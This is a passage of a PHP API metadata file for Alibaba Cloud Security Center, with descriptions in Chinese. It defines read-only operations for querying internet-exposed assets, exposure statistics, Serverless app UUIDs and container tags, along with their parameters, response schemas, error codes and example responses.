ID和区域名称的对应关系，请参见[地域和可用区](~~40654~~)。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'ExposureTypeId' => [ + 'description' => '暴露方式对应的实例ID。不同暴露方式对应不同的实例ID，取值：'."\n" + .'- ExposureType为**INTERNET_IP**时：取值为空。'."\n" + .'- ExposureType为**SLB**时：取值为负载均衡公网实例ID。'."\n" + .'- ExposureType为**EIP**时：取值为弹性公网IP的实例ID。'."\n" + .'- ExposureType为**DNAT**时：取值为NAT网关实例ID。'."\n" + .'- ExposureType为**DB_CONNECTION**时：取值为数据库实例ID。', + 'type' => 'string', + 'example' => 'i-ew11313a****', + ], + 'AsapVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的高危漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ExposurePort' => [ + 'description' => '暴露在互联网上的端口。', + 'type' => 'string', + 'example' => '22', + ], + 'Uuid' => [ + 'description' => '服务器UUID或云产品实例ID。', + 'type' => 'string', + 'example' => 'dd803d9e-a337-4add-9c5b-7d503e08****', + ], + 'GroupName' => [ + 'description' => '服务器分组名称。', + 'type' => 'string', + 'example' => 'testGroup', + ], + 'GroupId' => [ + 'description' => '服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '9469268', + ], + 'ExploitHealthCount' => [ + 'description' => '基线弱口令风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceName' => [ + 'description' => '资产名称。', + 'type' => 'string', + 'example' => 'abc_centos7.2_005', + ], + 'ExposureComponent' => [ + 'description' => '暴露在互联网上的系统组件。', + 'type' => 'string', + 'example' => 'openssl,openssh', + ], + 'LaterVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的中危漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CspmAlarmCount' => [ + 'description' => 'CSPM风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '资产类型。取值： '."\n" + .'- **0**：云服务器ECS'."\n" + .'- **1**：负载均衡SLB'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDb数据库'."\n" + .'- **5**：REDIS数据库'."\n" + .'- **6**：容器镜像IMAGE'."\n" + .'- **7**：容器CONTAINER', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CloudAssetInfo' => [ + 'description' => '数据库类型云产品信息的JSON字符串，字段枚举值：'."\n" + ."\n" + .'- assetSubType：资产子类型'."\n" + .'- assetSubTypeName：资产子类型名称'."\n" + .'- assetType：资产类型'."\n" + .'- assetTypeName：资产类型名称'."\n" + .'- vendor：资产厂商', + 'type' => 'string', + 'example' => '{assetSubTypeName":"INSTANCE","assetType":3,"assetTypeName":"RDS","vendor":0}', + ], + 'ExposureComponentList' => [ + 'description' => '暴露组件信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '暴露组件信息。', + 'type' => 'object', + 'properties' => [ + 'ListenPort' => [ + 'description' => '暴露端口。', + 'type' => 'string', + 'example' => '22', + ], + 'ComponentName' => [ + 'description' => '暴露组件。', + 'type' => 'string', + 'example' => 'openssh', + ], + 'ComponentVersion' => [ + 'description' => '暴露组件版本。', + 'type' => 'string', + 'example' => '8.7p1', + ], + 'ComponentBizType' => [ + 'description' => '暴露组件类型。', + 'type' => 'string', + 'example' => 'system_service', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"598A4A61-ABA7-456B-8725-7378258276D9\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"ExposedInstances\\": [\\n {\\n \\"ExposureIp\\": \\"116.12.XX.XX\\",\\n \\"TotalVulCount\\": 0,\\n \\"InternetIp\\": \\"116.12.XX.XX\\",\\n \\"NntfVulCount\\": 0,\\n \\"InstanceId\\": \\"i-bp1g6wxdwps7s9dz****\\",\\n \\"ExposureType\\": \\"INTERNET_IP\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ExposureTypeId\\": \\"i-ew11313a****\\",\\n \\"AsapVulCount\\": 0,\\n \\"ExposurePort\\": \\"22\\",\\n \\"Uuid\\": \\"dd803d9e-a337-4add-9c5b-7d503e08****\\",\\n \\"GroupName\\": \\"testGroup\\",\\n \\"GroupId\\": 9469268,\\n \\"ExploitHealthCount\\": 0,\\n \\"InstanceName\\": \\"abc_centos7.2_005\\",\\n \\"ExposureComponent\\": \\"openssl,openssh\\",\\n \\"LaterVulCount\\": 0,\\n \\"CspmAlarmCount\\": 0,\\n \\"AssetType\\": 0,\\n \\"CloudAssetInfo\\": \\"{assetSubTypeName\\\\\\":\\\\\\"INSTANCE\\\\\\",\\\\\\"assetType\\\\\\":3,\\\\\\"assetTypeName\\\\\\":\\\\\\"RDS\\\\\\",\\\\\\"vendor\\\\\\":0}\\",\\n \\"ExposureComponentList\\": [\\n {\\n \\"ListenPort\\": \\"22\\",\\n \\"ComponentName\\": \\"openssh\\",\\n \\"ComponentVersion\\": \\"8.7p1\\",\\n \\"ComponentBizType\\": \\"system_service\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 2\\n 20\\n 1\\n 2\\n \\n 598A4A61-ABA7-456B-8725-7378258276D9\\n \\n 0\\n 未分组\\n INTERNET_IP\\n i-bp1g6wxdwps7s9dz****\\n openssh\\n 22\\n 0\\n 0\\n 172.16.XX.XX\\n 9535356\\n abc_centos7.2_005\\n dd803d9e-a337-4add-9c5b-7d503e08****\\n 47.114.XX.XX\\n \\n 47.114.XX.XX\\n 0\\n cn-hangzhou\\n \\n \\n 0\\n 未分组\\n INTERNET_IP\\n i-bp1iy78ba3jgjyqp****\\n rdp\\n 3389\\n 0\\n 0\\n 172.16.XX.XX\\n 9535356\\n efd_centos7.2_005\\n c9782b85-7015-4359-8b75-5e26f854****\\n 120.26.XX.XX\\n \\n 120.26.XX.XX\\n 0\\n cn-hangzhou\\n \\n","errorExample":""}]', + 'title' => '查询暴露在互联网的资产信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeExposedStatistics' => [ + 'summary' => '查询资产暴露分析的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92079', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4B897D10-B3CD-4A93-A5FA-591F3ED12A86', + ], + 'ExposedLaterVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的中危漏洞总数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ExposedComponentCount' => [ + 'description' => '暴露在互联网上的您服务器的系统组件（例如OpenSSL、OpenSSH）总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'ExposedPortCount' => [ + 'description' => '暴露在互联网上的端口总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'ExposedInstanceCount' => [ + 'description' => '暴露在互联网上的资产总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ExposedWeekPasswordMachineCount' => [ + 'description' => '暴露在互联网上的您服务器的系统密钥的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'ExposedNntfVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的低危漏洞总数量。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'GatewayAssetCount' => [ + 'description' => '暴露在互联网上的网关资产（负载均衡、NAT网关）总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ExposedIpCount' => [ + 'description' => '暴露在互联网上的IP地址总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'ExposedAsapVulCount' => [ + 'description' => '暴露在互联网上可被黑客利用的高危漏洞总数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ExposedEcsCount' => [ + 'description' => '暴露在互联网上的ECS资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ExposedRdsCount' => [ + 'description' => '暴露在互联网上的RDS数据库资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ExposedKvstoreCount' => [ + 'description' => '暴露在互联网上的RDS-Redis版数据库资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ExposedDdsCount' => [ + 'description' => '暴露在互联网上的MONGODB数据库资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4B897D10-B3CD-4A93-A5FA-591F3ED12A86\\",\\n \\"ExposedLaterVulCount\\": 5,\\n \\"ExposedComponentCount\\": 7,\\n \\"ExposedPortCount\\": 6,\\n \\"ExposedInstanceCount\\": 10,\\n \\"ExposedWeekPasswordMachineCount\\": 20,\\n \\"ExposedNntfVulCount\\": 0,\\n \\"GatewayAssetCount\\": 3,\\n \\"ExposedIpCount\\": 100,\\n \\"ExposedAsapVulCount\\": 1,\\n \\"ExposedEcsCount\\": 5,\\n \\"ExposedRdsCount\\": 1,\\n \\"ExposedKvstoreCount\\": 3,\\n \\"ExposedDdsCount\\": 1\\n}","errorExample":""},{"type":"xml","example":"\\n 6\\n 4B897D10-B3CD-4A93-A5FA-591F3ED12A86\\n 100\\n 3\\n 5\\n 7\\n 100\\n 0\\n 1\\n","errorExample":""}]', + 'title' => '查询资产暴露分析的统计信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeExposedStatisticsDetail' => [ + 'summary' => '查询暴露在互联网中的网关资产、端口、系统组件或公网IP列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92080', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'StatisticsType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查看的统计值类型。取值：'."\n" + .'- **exposureType**：暴露在互联网中的网关资产。'."\n" + .'- **exposurePort**：暴露在互联网中的端口。'."\n" + .'- **exposureComponent**：暴露在互联网中的系统组件。'."\n" + .'- **exposureIp**：暴露在互联网中的IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => 'exposureType', + ], + ], + [ + 'name' => 'StatisticsTypeInstanceValue', + 'in' => 'query', + 'schema' => [ + 'description' => '**StatisticsType**为**exposureType**时，指定要查询的网关实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'lb-2ze4rso39h4nczcqs****', + ], + ], + [ + 'name' => 'StatisticsTypeGatewayType', + 'in' => 'query', + 'schema' => [ + 'description' => '**StatisticsType**为**exposureType**时，指定要查询的网关资产类型。取值：'."\n" + .'- **SLB**：负载均衡SLB公网IP。'."\n" + .'- **DNAT**：使用DNAT功能连接互联网的NAT网关。', + 'type' => 'string', + 'required' => false, + 'example' => 'SLB', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'title' => '指定查询的主机的UUID。', + 'description' => '指定查询的主机的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c9107c04-942f-40c1-981a-f1c1***', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'title' => '查询条件。', + 'description' => '查询条件。', + 'type' => 'string', + 'required' => false, + 'example' => '{}', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 's-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'ExposureIp', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产对外暴露的公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '116.12.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => '响应体。', + 'description' => '响应体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7CBAFB3F-1ED7-4A23-986A-6F67F0466BD1', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'StatisticsDetails' => [ + 'description' => '返回的网关资产、暴露端口、暴露组件或公网IP列表。', + 'type' => 'array', + 'items' => [ + 'title' => '统计信息详情。', + 'description' => '统计信息详情。', + 'type' => 'object', + 'properties' => [ + 'ExposureIp' => [ + 'description' => '暴露在互联网中的公网IP。', + 'type' => 'string', + 'example' => '123.57.XX.XX', + ], + 'ExposurePort' => [ + 'description' => '暴露在互联网中的端口。', + 'type' => 'string', + 'example' => '22', + ], + 'ExposureTypeInstanceName' => [ + 'description' => '暴露在互联网中的网关资产名称。', + 'type' => 'string', + 'example' => 'ngw-bp1vkbju8f3w87c9v****', + ], + 'ExposedCount' => [ + 'description' => '暴露在互联网上的您服务器的系统漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ExposureType' => [ + 'description' => '暴露方式。取值：'."\n" + .'- **INTERNET_IP**：ECS公网IP。'."\n" + .'- **SLB**：负载均衡SLB公网IP。'."\n" + .'- **EIP**：弹性公网IP。'."\n" + .'- **DNAT**：使用DNAT功能连接互联网的NAT网关。', + 'type' => 'string', + 'example' => 'SLB', + ], + 'RegionId' => [ + 'description' => '资产所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'ExposureComponent' => [ + 'description' => '暴露在互联网中的系统组件。', + 'type' => 'string', + 'example' => 'tomcat', + ], + 'ExposureTypeId' => [ + 'description' => '暴露方式对应的实例ID。不同暴露方式对应不同的实例ID，取值：'."\n" + .'- **ExposureType**为**INTERNET_IP**时：取值为空。'."\n" + .'- **ExposureType**为**SLB**时：取值为负载均衡公网实例ID。'."\n" + .'- **ExposureType**为**EIP**时：取值为弹性公网IP的实例ID。'."\n" + .'- **ExposureType**为**DNAT**时：取值为NAT网关实例ID。', + 'type' => 'string', + 'example' => 'lb-2ze4rso39h4nczcqs****', + ], + 'ForwardPort' => [ + 'title' => '转发端口。', + 'description' => '转发端口。', + 'type' => 'string', + 'example' => '80', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7CBAFB3F-1ED7-4A23-986A-6F67F0466BD1\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"StatisticsDetails\\": [\\n {\\n \\"ExposureIp\\": \\"123.57.XX.XX\\",\\n \\"ExposurePort\\": \\"22\\",\\n \\"ExposureTypeInstanceName\\": \\"ngw-bp1vkbju8f3w87c9v****\\",\\n \\"ExposedCount\\": 0,\\n \\"ExposureType\\": \\"SLB\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ExposureComponent\\": \\"tomcat\\",\\n \\"ExposureTypeId\\": \\"lb-2ze4rso39h4nczcqs****\\",\\n \\"ForwardPort\\": \\"80\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 2\\n 20\\n 1\\n 2\\n \\n 7CBAFB3F-1ED7-4A23-986A-6F67F0466BD1\\n \\n SLB\\n lb-2ze4rso39h4nczcqs****\\n \\n \\n SLB\\n lb-bp1g61a2sdn01n5k8****\\n \\n","errorExample":""}]', + 'title' => '暴露资产统计数据的详情', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ListUuidsByAppId' => [ + 'summary' => '根据应用ID查询Serverless实例UUID列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '227147', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'AppRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'AppId', + 'in' => 'query', + 'schema' => [ + 'description' => 'SAE应用ID。', + 'type' => 'string', + 'required' => false, + 'example' => '5b41f4bf-349f-4263-89b1-9234c034****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询，每页显示的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ResourceDirectoryUid', + 'in' => 'query', + 'schema' => [ + 'description' => '资源关联目录UID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123456', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'Uuids' => [ + 'description' => 'UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Serverless实例的UUID。', + 'type' => 'string', + 'example' => 'ec8e305a-0882-4661-87a3-cd7e558d****', + ], + ], + 'Count' => [ + 'description' => '数据的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Uuids\\": [\\n \\"ec8e305a-0882-4661-87a3-cd7e558d****\\"\\n ],\\n \\"Count\\": 1,\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\"\\n}","type":"json"}]', + 'title' => '根据应用ID查询Serverless实例UUID列表', + ], + 'ListMachineApps' => [ + 'summary' => '查询Serverless实例的SAE应用。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '227217', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'AppRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ResourceDirectoryUid', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123456', + ], + ], + [ + 'name' => 'AppId', + 'in' => 'query', + 'schema' => [ + 'description' => 'SAE应用ID。', + 'type' => 'string', + 'required' => false, + 'example' => '5b41f4bf-349f-4263-89b1-9234c034****', + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => 'SAE应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'agent-commprice-shop', + ], + ], + [ + 'name' => 'AuthVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '资产的授权版本。取值：'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：增值服务版'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '7', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'AppList' => [ + 'description' => '应用列表。', + 'type' => 'array', + 'items' => [ + 'description' => '应用列表。', + 'type' => 'object', + 'properties' => [ + 'AppId' => [ + 'description' => 'SAE应用ID。', + 'type' => 'string', + 'example' => '5b41f4bf-349f-4263-89b1-9234c034****', + ], + 'AppName' => [ + 'description' => 'SAE应用名称。', + 'type' => 'string', + 'example' => 'app-ubuntu', + ], + 'AppRegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '263', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AppList\\": [\\n {\\n \\"AppId\\": \\"5b41f4bf-349f-4263-89b1-9234c034****\\",\\n \\"AppName\\": \\"app-ubuntu\\",\\n \\"AppRegionId\\": \\"cn-hangzhou\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 263\\n },\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B****\\"\\n}","type":"json"}]', + 'title' => '查询Serverless实例的SAE应用', + ], + 'DescribeContainerTags' => [ + 'summary' => '根据容器列名称获取容器对应的值。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'FieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '检索字段。取值：'."\n" + ."\n" + .'- **namespace**：命名空间'."\n" + .'- **appName**：应用名称'."\n" + .'- **image**：镜像'."\n" + .'- **tag**：标签', + 'type' => 'string', + 'required' => true, + 'example' => 'namespace', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '检索字段对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'demo4', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为200。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '200', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c22143730ab6e40b09ec7c1c51d4d****', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-name-01', + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'node-exporter', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', + ], + 'TagValues' => [ + 'description' => '容器列名称获取容器对应的值列表。', + 'type' => 'array', + 